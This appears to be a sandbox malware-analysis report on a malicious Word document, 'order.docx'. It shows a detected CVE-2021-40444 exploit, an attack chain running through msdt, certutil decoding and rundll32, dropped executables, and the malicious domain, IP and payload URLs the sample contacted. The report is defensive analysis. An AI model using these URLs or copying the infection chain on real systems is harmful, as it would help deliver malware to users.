Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 36_2_004060B4
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: lstrcpynA,GetThreadLocale,GetLocaleInfoA,lstrlenA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA,lstrcpynA,LoadLibraryExA, 36_2_004061C0
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: GetLocaleInfoA, 36_2_0040C1D8
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: GetLocaleInfoA, 36_2_0040C224
Source: C:\Windows\SysWOW64\msdt.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_0040AC20 GetLocalTime, 36_2_0040AC20
Source: C:\Users\user\AppData\Roaming\POtest.exe Code function: 36_2_004865D0 GetVersion, 36_2_004865D0
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 676557 Sample: order.docx Startdate: 01/08/2022 Architecture: WINDOWS Score: 100 61 polpharmar.com 2->61 63 www.varshtrade.com 2->63 71 Detected CVE-2021-40444 exploit 2->71 73 Snort IDS alert for network traffic 2->73 75 Multi AV Scanner detection for domain / URL 2->75 77 11 other signatures 2->77 8 cmd.exe 2 2->8         started        12 WINWORD.EXE 91 91 2->12         started        15 csc.exe 3 2->15         started        17 2 other processes 2->17 signatures3 process4 dnsIp5 51 C:\Users\user\AppData\Roaming\kk.txt, ASCII 8->51 dropped 83 Uses certutil -decode 8->83 19 rundll32.exe 1 8->19         started        24 certutil.exe 2 8->24         started        26 conhost.exe 8->26         started        28 more.com 1 8->28         started        69 polpharmar.com 91.235.116.180, 49765, 49766, 49802 THCPROJECTSRO Romania 12->69 53 C:\Users\user\Desktop\~$order.docx, data 12->53 dropped 30 msdt.exe 21 12->30         started        32 MSOSYNC.EXE 5 12 12->32         started        55 C:\Users\user\AppData\Local\...\3d50mnu3.dll, PE32 15->55 dropped 34 cvtres.exe 1 15->34         started        57 C:\Users\user\AppData\Local\...\w5csyjot.dll, PE32 17->57 dropped 59 C:\Users\user\AppData\Local\...\5wwnjf5w.dll, PE32 17->59 dropped 36 cvtres.exe 1 17->36         started        38 cvtres.exe 1 17->38         started        file6 signatures7 process8 dnsIp9 65 polpharmar.com 19->65 43 C:\Users\user\AppData\Roaming\POtest.exe, PE32 19->43 dropped 79 System process connects to network (likely due to code injection or exploit) 19->79 40 POtest.exe 19->40         started        45 C:\Users\user\AppData\Roaming\vv.jpg, MS-DOS 24->45 dropped 47 C:\Windows\Temp\...\DiagPackage.dll.mui, PE32 30->47 dropped 49 C:\Windows\Temp\...\DiagPackage.dll, PE32+ 30->49 dropped 67 192.168.2.1 unknown unknown 32->67 file10 signatures11 process12 signatures13 81 Multi AV Scanner detection for dropped file 40->81
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
91.235.116.180
 polpharmar.com Romania
51177 THCPROJECTSRO true

Private

IP
192.168.2.1

Contacted Domains

Name IP Active
polpharmar.com 91.235.116.180 true
www.varshtrade.com 91.192.100.12 true

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://polpharmar.com/test.inf true
  • 6%, Virustotal, Browse
  • Avira URL Cloud: safe
 unknown
http://polpharmar.com/PO.exe true
  • Avira URL Cloud: safe
 unknown